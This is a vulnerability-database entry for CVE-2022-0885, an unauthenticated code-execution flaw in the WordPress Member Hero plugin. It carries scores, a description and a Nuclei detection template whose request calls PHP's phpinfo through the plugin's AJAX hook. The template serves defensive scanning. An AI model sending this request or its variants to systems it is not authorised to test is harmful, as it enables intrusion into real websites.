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ProjectDiscoveryNUCLEI:CVE-2022-0885

HistoryOct 20, 2022 - 9:44 a.m.

Member Hero <=1.0.9 - Remote Code Execution

2022-10-2009:44:28

ProjectDiscovery

github.com

cve

cve2022

unauth

wpscan

wp-plugin

rce

wordpress

member-hero

memberhero

remote code execution

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

Confidence

High

EPSS

0.284

Percentile

96.9%

JSON

WordPress Member Hero plugin through 1.0.9 is susceptible to remote code execution. The plugin lacks authorization checks and does not validate the a request parameter in an AJAX action, allowing an attacker to call arbitrary PHP functions with no arguments. An attacker can thus execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.

id: CVE-2022-0885

info:
  name: Member Hero <=1.0.9 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    WordPress Member Hero plugin through 1.0.9 is susceptible to remote code execution. The plugin lacks authorization checks and does not validate the a request parameter in an AJAX action, allowing an attacker to call arbitrary PHP functions with no arguments. An attacker can thus execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
  impact: |
    An attacker can execute arbitrary code on the target system, potentially leading to a complete compromise of the WordPress site.
  remediation: |
    Update to the latest version of the Member Hero plugin (1.0.9 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/8b08b72e-5584-4f25-ab73-5ab0f47412df
    - https://wordpress.org/plugins/member-hero/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0885
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0885
    cwe-id: CWE-862
    epss-score: 0.28394
    epss-percentile: 0.96849
    cpe: cpe:2.3:a:memberhero:member_hero:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: memberhero
    product: member_hero
    framework: wordpress
  tags: cve,cve2022,unauth,wpscan,wp-plugin,rce,wp,wordpress,member-hero,memberhero

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=memberhero_send_form&_memberhero_hook=phpinfo"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PHP Extension"
          - "PHP Version"
          - "<!DOCTYPE html"
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        group: 1
        regex:
          - '>PHP Version <\/td><td class="v">([0-9.]+)'
        part: body
# digest: 490a0046304402206fb0aaaa4272d959a502470047fb0fdc6811ff0a04f0bfa13152420750a73b8c02203f2a2cb142c4ffeac3fc90214e860c3814529eacade9c6e123aa0e62d0383dae:922c64590222798bb761d5b6d8e72950

References

github.com/ARPSyndicate/kenzer-templates

nvd.nist.gov/vuln/detail/CVE-2022-0885

wordpress.org/plugins/member-hero/

wpscan.com/vulnerability/8b08b72e-5584-4f25-ab73-5ab0f47412df

CVSS2

7.5

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

CVSS3

9.8

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

AI Score

Confidence

High

EPSS

0.284

Percentile

96.9%

JSON

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